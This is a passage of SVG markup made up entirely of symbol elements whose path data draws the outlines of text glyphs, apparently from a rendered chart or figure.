2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="ag"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="x"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="y"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="z"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="A"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="C"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="D"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="E"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="F"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="G"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="H"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="I"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="J"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="K"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="L"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="M"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="N"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="O"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="P"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Q"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="S"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="T"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 